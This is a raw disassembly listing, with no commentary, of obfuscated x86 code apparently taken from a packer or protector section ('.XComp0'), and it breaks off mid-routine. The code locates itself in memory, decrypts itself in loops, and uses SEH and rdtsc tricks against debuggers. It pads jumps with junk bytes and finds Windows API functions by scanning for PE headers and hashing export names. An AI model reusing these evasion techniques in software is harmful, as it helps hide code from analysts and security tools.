		dd 61h,	43E00000h, 0E24FFA5h, 0B2h, 4 dup(0)
		dd 1CF00000h, 2	dup(0)
		dd 254h, 4 dup(0)
		dd 0EB940000h, 7C90h, 54130000h, 0CC10h, 4 dup(0)
		dd 0A3480000h, 0FFFFh, 14h dup(0)
		dd 154D0000h, 78A6h, 0
		dd 60D30000h, 105Bh, 0
		dd 0EB940000h, 0B57B7C90h, 5Ch,	2 dup(0)
		dd 397B0000h, 5B80h, 2 dup(0)
		dd 0BC200000h, 5Ah, 0
		dd 11E80000h, 5B4C836Fh, 5 dup(0)
		dd 8D8D0000h, 0AC58h, 8	dup(0)
		dd 0CFCE0000h, 82C1h, 2	dup(0)
		dd 1A3C0000h, 0B2h, 0
		dd 7C80h, 2 dup(0)
		dd 8B0D0000h, 0B5h, 0
		dd 4DD20000h, 0FFA5h, 5	dup(0)
		dd 8EE40000h, 0B2h, 0
		dd 0CC0000h, 3 dup(0)
		dd 0A250000h, 146C00B2h, 836Fh,	0Ah dup(0)
		dd 0EB940000h, 7C90h, 4	dup(0)
		dd 0EBE70000h, 77DDh, 0
		dd 0FA030000h, 0B2h, 7AFD0000h,	5Ah, 3 dup(0)
		dd 9AAC0000h, 0C5D27AAAh, 0ECF50056h, 0C99D005Eh, 1C0Eh
		dd 0
		dd 1629029Fh, 5330h, 0
		dd 0EB940000h, 7C90h, 0
		dd 0D0FF0000h, 5515h, 0
		dd 2EAC0000h, 5Ch, 3F7B0000h, 0FFFFh, 0D8F00000h, 7 dup(0)
		dd 4FA90000h, 60h, 5 dup(0)
		dd 5B7C0000h, 0DD83h, 3	dup(0)
		dd 29180000h, 0B2h, 9DA00000h, 0FFFFh, 0
		dd 8D8D0000h, 12E15h, 8A210000h, 0FFEDh, 4 dup(0)
		dd 87EE0000h, 5Eh, 0
		dd 0F7F20000h, 0FFFFh, 7 dup(0)
		dd 0C1C0000h, 2277h, 0Ah dup(0)
		dd 0B5F20000h, 5Bh, 0
		dd 37860000h, 0CEEEh, 324E0000h, 5Ah, 6	dup(0)
		dd 0E9220000h, 205C0056h, 0C41B1551h, 77DFh, 5FE60000h
		dd 815Ah, 5 dup(0)
		dd 0D8600000h, 54DFh, 2	dup(0)
		dd 0E0140000h, 0Eh, 7 dup(0)
		dd 4C2A0000h, 2, 0Ch dup(0)
		dd 0CF810000h, 7C81h, 6F880000h, 5Eh, 3	dup(0)
		dd 35240000h, 180E005Dh, 7C80h,	0EB940000h, 0D07C90h, 10000h
		dd 10h dup(0)
		dd 0EB940000h, 0C9907C90h, 5Ch,	3 dup(0)
		dd 0C80000h, 10h dup(0)
		dd 707E0000h, 0EB941FCCh, 7C90h, 2 dup(0)
		dd 0A2140000h, 0DDF9FFFFh, 7C90h, 0C58E0000h, 56h, 2 dup(0)
		dd 30DF0000h, 26440000h, 7C80h,	0
		dd 78830000h, 180F77DDh, 0B2h, 0
		dd 380000h, 5Ch, 0ADA00000h, 1C280129h,	1BECh, 0
		dd 0FCAD0000h, 0B4h, 48D0000h, 9F70005Ah, 4875005Ah, 71D5h
		dd 5 dup(0)
		dd 38B50000h, 0FEEFh, 4	dup(0)
		dd 3FFC0000h, 0B8177FDDh, 7E68FFFEh, 5,	0
		dd 0EF5D0000h, 0FA5Dh, 3 dup(0)
		dd 266E0000h, 63h, 5380000h, 5 dup(0)
		dd 0E7E0000h, 200000h, 0
		dd 0B8A40000h, 3 dup(0)
		dd 0FE80000h, 9	dup(0)
		dd 40h,	2Bh dup(0)
		dd 40h,	2 dup(0)
		dd 10000h, 5 dup(0)
		dd 0AEA10000h, 0EB9400B2h, 87787C90h, 5Ch, 31h dup(0)
		dd 10000h, 0
		dd 0FF690000h, 5Eh, 4 dup(0)
		dd 1D770000h, 7C80h, 0
		dd 42020000h, 5801h, 0
		dd 7F800000h, 0FFA7h, 5	dup(0)
		dd 29180000h, 220D00B2h, 60h, 529E0000h, 0E438h, 0
		dd 1A240000h, 7C80h, 35180000h,	42027C80h, 0D3DD5801h
		dd 5Ah,	2 dup(0)
		dd 0E8D80000h, 5Ch, 0Bh	dup(0)
		dd 0A6780000h, 0FFFFh, 6 dup(0)
		dd 1CF70000h, 0B5h, 0
		dd 0EE180000h, 7C90h, 0E82D0000h, 0F75Bh, 0
		dd 0EE180000h, 7C90h, 2	dup(0)
		dd 88A10000h, 6DF4A1C3h, 25Bh, 8 dup(0)
		dd 443E0000h, 0FFA3h, 2	dup(0)
		dd 210000h, 0Ch	dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 82h dup(0)
		dd 7DC80000h, 0CEEEh, 40h, 9 dup(0)
		dd 1380000h, 0FFEDh, 4 dup(0)
		dd 0D8F00000h, 8F690000h, 5Ah, 5 dup(0)
		dd 8E510000h, 0B2h, 8D8D0000h, 0D201h, 0
		dd 180F0000h, 0B2h, 3 dup(0)
		dd 0A0140000h, 6 dup(0)
		dd 92000000h, 80FEh, 0C6B20000h, 663Ah,	1Fh dup(0)
		dd 3FFC0000h, 6	dup(0)
		dd 0B2h, 4 dup(0)
		dd 3700000h, 0
		dd 329E0000h, 5Ah, 0EE90000h, 2, 0ADA00000h, 129h, 8B280000h
		dd 0B2h, 4 dup(0)
		dd 7BEB0000h, 5Bh, 10000h, 0
		dd 4BF10000h, 60h, 9BE10000h, 0DD02h, 0
		dd 0A80000h, 5 dup(0)
		dd 1A400000h, 0B2h, 7 dup(0)
		dd 9EF40000h, 3F64FFFFh, 0B7h, 9F700000h, 0B8005Ah, 0B000000h
		dd 0C20374C0h, 448B0018h, 0E8530C24h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B2FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 16h dup(0)
		dd 94F00000h, 0C4A6FFFFh, 9E24CC54h, 0FFA3h, 8 dup(0)
		dd 0D0820000h, 56h, 0Dh	dup(0)
		dd 0A9FA0000h, 250h, 5 dup(0)
		dd 30DF0000h, 0A9C5h, 4	dup(0)
		dd 940000h, 0
		dd 6EEA0000h, 1, 3B180000h, 0FFFEh, 3 dup(0)
		dd 91780000h, 0A01A00B7h, 7EA5h, 3 dup(0)
		dd 0FD290000h, 3246h, 2	dup(0)
		dd 6F880000h, 5Eh, 0
		dd 120000h, 3 dup(0)
		dd 0F7F20000h, 0FFFFh, 1Ah dup(0)
		dd 8F690000h, 5Ah, 0BFAE0000h, 5Ch, 7 dup(0)
		dd 1E690000h
		db 0B8h, 0
; ---------------------------------------------------------------------------


loc_56EB5A:				; CODE XREF: .XComp0:loc_56B5EDj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 5F93577h
		mov	[ebp+5F918E9h],	edx
		mov	[ebp+5F92BA5h],	esi
		mov	[ebp+5F913D1h],	eax
		cmp	dword ptr [ebp+5F921A5h], 0
		jz	short loc_56EB92
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_56EB92:				; CODE XREF: .XComp0:0056EB84j
		mov	eax, [esp+24h]
		mov	[ebp+5F90875h],	eax
		push	45h
		call	sub_56EC46
		push	783749Ah
		call	sub_56EC8C
		push	0A894B25h
		call	sub_56EC8C
		jmp	loc_56EDD0
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56EC46	proc near		; CODE XREF: .XComp0:0056EB9Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 5F93665h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_56EC62:				; CODE XREF: sub_56EC46+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_56EC81
		mov	eax, [ebp+arg_0]
		mov	[ebx+5F935CFh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_56EC62
; ---------------------------------------------------------------------------


loc_56EC81:				; CODE XREF: sub_56EC46+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_56EC46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56EC8C	proc near		; CODE XREF: .XComp0:0056EBA8p
					; .XComp0:0056EBB2p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 5F936AEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_56ECB2:				; CODE XREF: sub_56EC8C+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_56ECB2
		mov	[ebp+var_84], 0
		lea	edi, [edx+5F935CFh]
		lea	esi, [ebp+var_80]


loc_56ECE2:				; CODE XREF: sub_56EC8C+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_56ECEE:				; CODE XREF: sub_56EC8C+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_56ECEE
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_56ECE2
		popa
		leave
		retn	4
sub_56EC8C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_56ED2C
; ---------------------------------------------------------------------------


loc_56ED28:				; CODE XREF: .XComp0:0056ED2Fj
		inc	dword ptr [ebp-4]
		inc	esi


loc_56ED2C:				; CODE XREF: .XComp0:0056ED26j
		cmp	byte ptr [esi],	0
		jnz	short loc_56ED28
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_56EDBD
; ---------------------------------------------------------------------------


loc_56ED3E:				; CODE XREF: .XComp0:0056EDC0j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_56EDB4
; ---------------------------------------------------------------------------


loc_56ED47:				; CODE XREF: .XComp0:0056EDB8j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_56EDA1
; ---------------------------------------------------------------------------


loc_56ED57:				; CODE XREF: .XComp0:0056EDA5j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_56ED79
		cmp	bl, 39h
		ja	short loc_56ED79
		sub	bl, 30h
		jmp	short loc_56ED9B
; ---------------------------------------------------------------------------


loc_56ED79:				; CODE XREF: .XComp0:0056ED6Dj
					; .XComp0:0056ED72j
		cmp	bl, 61h
		jb	short loc_56ED8B
		cmp	bl, 66h
		ja	short loc_56ED8B
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_56ED9B
; ---------------------------------------------------------------------------


loc_56ED8B:				; CODE XREF: .XComp0:0056ED7Cj
					; .XComp0:0056ED81j
		cmp	bl, 41h
		jb	short loc_56ED9B
		cmp	bl, 46h
		ja	short loc_56ED9B
		sub	bl, 41h
		add	bl, 0Ah


loc_56ED9B:				; CODE XREF: .XComp0:0056ED77j
					; .XComp0:0056ED89j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_56EDA1:				; CODE XREF: .XComp0:0056ED55j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_56ED57
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_56EDB1
		mov	eax, [ebp-10h]
		stosb


loc_56EDB1:				; CODE XREF: .XComp0:0056EDABj
		inc	dword ptr [ebp-8]


loc_56EDB4:				; CODE XREF: .XComp0:0056ED45j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_56ED47
		add	edx, 4


loc_56EDBD:				; CODE XREF: .XComp0:0056ED3Cj
		cmp	edx, [ebp-4]
		jb	loc_56ED3E
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_56EDD0:				; CODE XREF: .XComp0:0056EBB7j
		mov	ecx, 7000h
		lea	edi, [ebp+5F937F4h] ; CODE XREF: .XComp0:0056EE14j


loc_56EDDB:				; CODE XREF: .XComp0:0056EDDFj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_56EDDB
		mov	eax, 48692121h
		mov	edx, 0F00EE000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+5F938FCh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bl, 0A1h
		call	sub_56EE27
		daa
		jp	short near ptr loc_56EDD5+1
		test	byte ptr [ebx+188A0DD5h], 57h
		dec	ebx
		cld
		inc	esi
		retf
; ---------------------------------------------------------------------------
		db 62h,	0A5h, 0ACh
		db 0FBh, 57h, 0D4h

; =============== S U B	R O U T	I N E =======================================



sub_56EE27	proc near		; CODE XREF: .XComp0:0056EE0Ep
		add	bl, 0ACh
		pop	ebx
		sub	eax, edx
		call	sub_56EE43
		and	[edx], ch
		xor	ah, [ecx+34E7A33Ah]
		pop	edi
		rol	byte ptr [esi],	cl
		sub	bh, [eax]
		add	esp, ebx
		xchg	eax, edi
		xchg	eax, ebp
sub_56EE27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56EE43	proc near		; CODE XREF: sub_56EE27+6p

arg_34		= dword	ptr  38h

		mov	ebx, ecx
		pop	ebx
		and	eax, 0FFFFF000h
		jge	loc_56EE5C
		pusha
		mov	ecx, 162CDEDBh
		mov	bx, 724Ch
		popa


loc_56EE5C:				; CODE XREF: sub_56EE43+8j
		mov	ecx, edx
		xor	edi, edi


loc_56EE60:				; CODE XREF: sub_56EE43+38j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_56EE75
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_56EE7D


loc_56EE75:				; CODE XREF: sub_56EE43+22j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_56EE60
; ---------------------------------------------------------------------------


loc_56EE7D:				; CODE XREF: sub_56EE43+30j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+5F9390Fh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_56EEB7
		mov	esi, [eax+1Ch]


loc_56EEB7:				; CODE XREF: sub_56EE43+6Fj
		xor	eax, eax


loc_56EEB9:				; CODE XREF: sub_56EE43+89j
		cmp	eax, 32h
		jz	short loc_56EEDD
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_56EECE


loc_56EEC5:				; CODE XREF: sub_56EE43+98j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_56EEB9
; ---------------------------------------------------------------------------


loc_56EECE:				; CODE XREF: sub_56EE43+80j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_56EF1F
		jmp	short loc_56EEC5
; ---------------------------------------------------------------------------


loc_56EEDD:				; CODE XREF: sub_56EE43+79j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp-28h+arg_34]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp-28h+arg_34]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5F9391Ah
		lea	eax, [ebp+5F938D8h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_56EF1F:				; CODE XREF: sub_56EE43+96j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bl, al
		jnb	loc_56EF38
		or	ebx, 1D1BD933h


loc_56EF38:				; CODE XREF: sub_56EE43+E9j
		mov	cx, ds
		mov	ebx, edx
		and	cl, 4
		push	0
		push	ebx
		call	sub_56EF4B
		and	[ebx-3Dh], bl
sub_56EE43	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56EF4B	proc near		; CODE XREF: sub_56EE43+100p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_56EF4B	endp

; ---------------------------------------------------------------------------
		mov	dl, [eax-80h]
		xlat
		db	2Eh
		pusha
		adc	ax, 3FF4h
		cld
		popa
		or	cl, cl
		jnz	loc_56EFA7
		jmp	loc_56EF7D
; ---------------------------------------------------------------------------
		mov	ds:7F1F8C5h, al
		pop	ebx
		db	66h
		movsb


loc_56EF7D:				; CODE XREF: .XComp0:0056EF70j
		mov	dword ptr [ebp+5F91785h], 1
		jmp	loc_56EF9D
; ---------------------------------------------------------------------------
		dd 9D22F8C0h, 8CDA3EB8h, 45CB6F12h, 0F5637705h
		db 0C1h
; ---------------------------------------------------------------------------


loc_56EF9D:				; CODE XREF: .XComp0:0056EF87j
		jmp	loc_56EFC6
; ---------------------------------------------------------------------------
		add	bx, 1E13h


loc_56EFA7:				; CODE XREF: .XComp0:0056EF6Aj
		mov	dword ptr [ebp+5F91785h], 0
		push	esi
		jmp	loc_56EFC5
; ---------------------------------------------------------------------------
		db 2Ah
		dd 0D2D476C1h, 3D1515BDh, 9A45BE3Ch
; ---------------------------------------------------------------------------
		stosb


loc_56EFC5:				; CODE XREF: .XComp0:0056EFB2j
		pop	ebx


loc_56EFC6:				; CODE XREF: .XComp0:loc_56EF9Dj
		mov	[ebp+5F92719h],	eax
		mov	ebx, ecx
		jmp	loc_56EFDB
; ---------------------------------------------------------------------------
		adc	eax, 3488BCBh
		jnb	short loc_56F025
		dec	eax


loc_56EFDB:				; CODE XREF: .XComp0:0056EFCEj
		mov	[ebp+5F908D1h],	eax
		call	near ptr loc_56EFE9+3
		movsb
		cli
		sahf


loc_56EFE9:				; CODE XREF: .XComp0:0056EFE1p
		cvtps2pd xmm2, qword ptr [ebx+edx*2+5Bh]
		pop	esi
		cld
		add	esi, 6729h
		mov	bx, ax
		mov	eax, 743E9484h
		add	eax, 8BC18533h
		mov	edx, eax


loc_56F006:				; CODE XREF: .XComp0:0056F02Ej
		mov	ecx, [esi]
		clc
		sub	ecx, 560432ABh
		mov	bx, dx
		xor	ecx, 2651E2B8h
		xor	ecx, 570EED8Ch
		pusha
		clc
		mov	eax, edx
		popa
		mov	[esi], ecx


loc_56F025:				; CODE XREF: .XComp0:0056EFD8j
		sub	di, 8E2Ch
		sub	esi, 4
		dec	eax
		jnz	loc_56F006
		movsx	edi, cx
		jmp	short loc_56F03D
; ---------------------------------------------------------------------------
		db 1Bh,	2, 0
		db 0
; ---------------------------------------------------------------------------


loc_56F03D:				; CODE XREF: .XComp0:0056F037j
		jmp	loc_56F68B
; ---------------------------------------------------------------------------
		jmp	loc_56F057
; ---------------------------------------------------------------------------
		retn	0B400h
; ---------------------------------------------------------------------------
		dw 0E601h
		dd 91559EE0h, 10915EDDh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1, 1Bh
; ---------------------------------------------------------------------------


loc_56F057:				; CODE XREF: .XComp0:0056F042j
		pusha
		jg	loc_56F075
		pusha
		jmp	loc_56F071
; ---------------------------------------------------------------------------
		dd 315DADA8h, 51ECA2B8h, 0BFA67F8Dh
		db 0BEh
; ---------------------------------------------------------------------------


loc_56F071:				; CODE XREF: .XComp0:0056F05Fj
		movsx	esi, si
		popa


loc_56F075:				; CODE XREF: .XComp0:0056F058j
		mov	eax, 0
		jmp	loc_56F088
; ---------------------------------------------------------------------------
		db 4Eh
		dd 2C82E4B0h, 121F9CFFh
; ---------------------------------------------------------------------------


loc_56F088:				; CODE XREF: .XComp0:0056F07Aj
		mov	edx, [esp+28h]
		or	[ebp+5F91B09h],	ebx
		mov	[ebp+5F9328Dh],	eax
		pusha
		mov	ah, 0A9h
		popa
		mov	esi, 3Ch
		sub	[ebp+5F92085h],	edx
		add	esi, [esp+24h]
		pusha
		mov	[ebp+5F92441h],	eax
		popa
		lodsw
		clc
		add	eax, [esp+24h]
		mov	[ebp+5F92C91h],	edi
		nop
		push	eax
		push	edx
		pusha
		pusha
		popa
		popa
		rdtsc
		pusha
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pusha
		popa
		popa
		pop	edx
		pop	eax
		push	eax
		push	eax
		push	edx
		jle	loc_56F0EF
		jmp	loc_56F0EF
; ---------------------------------------------------------------------------
		db 0E5h
		dd 9E9DC027h, 0BA4ABC48h
		db 6Ch,	0BFh, 24h
; ---------------------------------------------------------------------------


loc_56F0EF:				; CODE XREF: .XComp0:0056F0D8j
					; .XComp0:0056F0DEj
		rdtsc
		jmp	loc_56F101
; ---------------------------------------------------------------------------
		dw 0F97Ah
		dd 315FA90Ch, 0E82CE50Ah
		db 69h
; ---------------------------------------------------------------------------


loc_56F101:				; CODE XREF: .XComp0:0056F0F1j
		pop	edx
		pop	eax
		nop
		jmp	loc_56F118
; ---------------------------------------------------------------------------
		db 5Dh,	28h, 6
		dd 1806B040h, 91D89AE3h, 43298BCAh
; ---------------------------------------------------------------------------


loc_56F118:				; CODE XREF: .XComp0:0056F104j
		mov	eax, [eax+78h]
		jnb	loc_56F127
		add	[ebp+5F92415h],	ecx


loc_56F127:				; CODE XREF: .XComp0:0056F11Bj
		or	[ebp+5F916E9h],	eax
		add	eax, [esp+28h]
		cmc
		mov	eax, [eax+18h]
		sub	[ebp+5F932DDh],	edx
		inc	eax
		jmp	loc_56F14D
; ---------------------------------------------------------------------------
		db 1Bh,	69h, 6Bh
		dd 0DF019F4Ah, 0F6B1A017h
		db 0Ah
; ---------------------------------------------------------------------------


loc_56F14D:				; CODE XREF: .XComp0:0056F13Cj
		mov	[ebp+5F90711h],	esi
		mov	[ebp+5F93A4Ch],	eax
		jmp	loc_56F16C
; ---------------------------------------------------------------------------
		dw 8608h
		dd 0B7A60756h, 84021AB2h, 8D5A8E69h
; ---------------------------------------------------------------------------


loc_56F16C:				; CODE XREF: .XComp0:0056F159j
		pop	eax
		jmp	loc_56F182
; ---------------------------------------------------------------------------
		wait
		adc	ebx, [esi-5136BE9Ah]
		mov	byte ptr [edi+edi*4+3DFF93BCh],	6Eh
		wait


loc_56F182:				; CODE XREF: .XComp0:0056F16Dj
		mov	esi, [eax+78h]
		sub	[ebp+5F9218Dh],	edx
		add	esi, 1Ch
		or	[ebp+5F9325Dh],	esi
		stc
		add	esi, [esp+24h]
		pusha
		mov	ecx, [ebp+5F9115Dh]
		jb	loc_56F1AB
		and	dx, 4D0Ah


loc_56F1AB:				; CODE XREF: .XComp0:0056F1A0j
		popa
		lea	edi, [ebp+5F91399h]
		jmp	loc_56F1BC
; ---------------------------------------------------------------------------
		db 94h
		dd 0C0A2848Dh
; ---------------------------------------------------------------------------


loc_56F1BC:				; CODE XREF: .XComp0:0056F1B2j
		lodsd
		stc
		add	eax, [esp+24h]
		jb	loc_56F1CE
		xor	[ebp+5F90F89h],	ebx


loc_56F1CE:				; CODE XREF: .XComp0:0056F1C2j
		stosd
		jnz	loc_56F1DB
		mov	[ebp+5F910BDh],	ebx


loc_56F1DB:				; CODE XREF: .XComp0:0056F1CFj
		lea	edi, [ebp+5F90FE5h]
		pusha
		jmp	loc_56F1F0
; ---------------------------------------------------------------------------
		add	cl, [esi+2CC1407Dh]
		inc	esp
		dec	eax
		xchg	eax, edx


loc_56F1F0:				; CODE XREF: .XComp0:0056F1E2j
		popa
		jz	loc_56F1FD
		or	[ebp+5F92B59h],	esi


loc_56F1FD:				; CODE XREF: .XComp0:0056F1F1j
		lodsd
		jbe	loc_56F20A
		mov	[ebp+5F90C21h],	esi


loc_56F20A:				; CODE XREF: .XComp0:0056F1FEj
		add	eax, [esp+24h]
		mov	[ebp+5F90D29h],	ecx
		nop
		jo	loc_56F222
		pusha
		mov	ax, cx
		mov	ebx, esi
		popa


loc_56F222:				; CODE XREF: .XComp0:0056F215j
		push	eax
		jp	loc_56F237
		jmp	loc_56F237
; ---------------------------------------------------------------------------
		dw 9DE6h
		dd 1CADE154h
; ---------------------------------------------------------------------------
		cli
		cmpsb
		dec	esp


loc_56F237:				; CODE XREF: .XComp0:0056F223j
					; .XComp0:0056F229j
		nop
		jno	loc_56F244
		sub	[ebp+5F91929h],	eax


loc_56F244:				; CODE XREF: .XComp0:0056F238j
		stosd
		jge	loc_56F25F
		jnz	loc_56F25F
		jmp	loc_56F25F
; ---------------------------------------------------------------------------
		dec	ebx
		retf
; ---------------------------------------------------------------------------
		dd 0D9D3DE31h
		db 0C7h, 0C6h, 43h
; ---------------------------------------------------------------------------


loc_56F25F:				; CODE XREF: .XComp0:0056F245j
					; .XComp0:0056F24Bj ...
		lea	edi, [ebp+5F91ACDh]
		clc
		lodsd
		jmp	loc_56F27C
; ---------------------------------------------------------------------------
		dd 44AAB53Ah, 50FC9DBEh, 5EC271AFh, 0EC553BE8h
; ---------------------------------------------------------------------------


loc_56F27C:				; CODE XREF: .XComp0:0056F267j
		add	eax, [esp+28h]
		clc
		stosd
		mov	[ebp+5F932D5h],	ebx
		pop	esi
		jg	loc_56F295
		sub	[ebp+5F9353Dh],	ecx


loc_56F295:				; CODE XREF: .XComp0:0056F289j
					; .XComp0:0056F321j
		dec	dword ptr [ebp+5F93A4Ch]
		cmp	dword ptr [ebp+5F93A4Ch], 0
		jnz	short loc_56F2B4
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+5F93EB8h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_56F2B4:				; CODE XREF: .XComp0:0056F2A2j
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+5F91899h]
		test	al, al
		jz	short loc_56F2CB
		cmp	al, [edi]
		jnz	short loc_56F317


loc_56F2CB:				; CODE XREF: .XComp0:0056F2C5j
		push	edi
		xor	al, al


loc_56F2CE:				; CODE XREF: .XComp0:0056F2CFj
		scasb
		jnz	short loc_56F2CE
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_56F2DB:				; CODE XREF: .XComp0:0056F304j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_56F2EA:				; CODE XREF: .XComp0:0056F2FDj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_56F2FB
		xor	ax, 5041h
		xor	bx, 5449h


loc_56F2FB:				; CODE XREF: .XComp0:0056F2F0j
		dec	dh
		jnz	short loc_56F2EA
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_56F2DB
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_56F326


loc_56F317:				; CODE XREF: .XComp0:0056F2C9j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+5F9328Dh]
		jmp	loc_56F295
; ---------------------------------------------------------------------------


loc_56F326:				; CODE XREF: .XComp0:0056F315j
		pop	esi
		add	[ebp+5F92B81h],	ebx
		jp	loc_56F339
		sub	[ebp+5F90A61h],	ecx


loc_56F339:				; CODE XREF: .XComp0:0056F32Dj
		mov	eax, [ebp+5F9328Dh]
		jmp	loc_56F356
; ---------------------------------------------------------------------------
		dd 5987417Ch, 52E8AF11h, 0B53D64BBh, 9504693h
		db 0E5h, 69h
; ---------------------------------------------------------------------------


loc_56F356:				; CODE XREF: .XComp0:0056F33Fj
		shl	eax, 1
		xor	[ebp+5F9256Dh],	eax
		add	eax, [ebp+5F91ACDh]
		pusha
		mov	[ebp+5F91979h],	esi
		popa
		mov	esi, 0
		or	[ebp+5F9311Dh],	esi
		xchg	eax, esi
		jmp	loc_56F383
; ---------------------------------------------------------------------------
		db 6Fh,	90h, 40h
		db 0DAh, 0FEh, 0B2h
; ---------------------------------------------------------------------------


loc_56F383:				; CODE XREF: .XComp0:0056F378j
		lodsw
		jge	loc_56F392
		jbe	loc_56F392
		clc


loc_56F392:				; CODE XREF: .XComp0:0056F385j
					; .XComp0:0056F38Bj
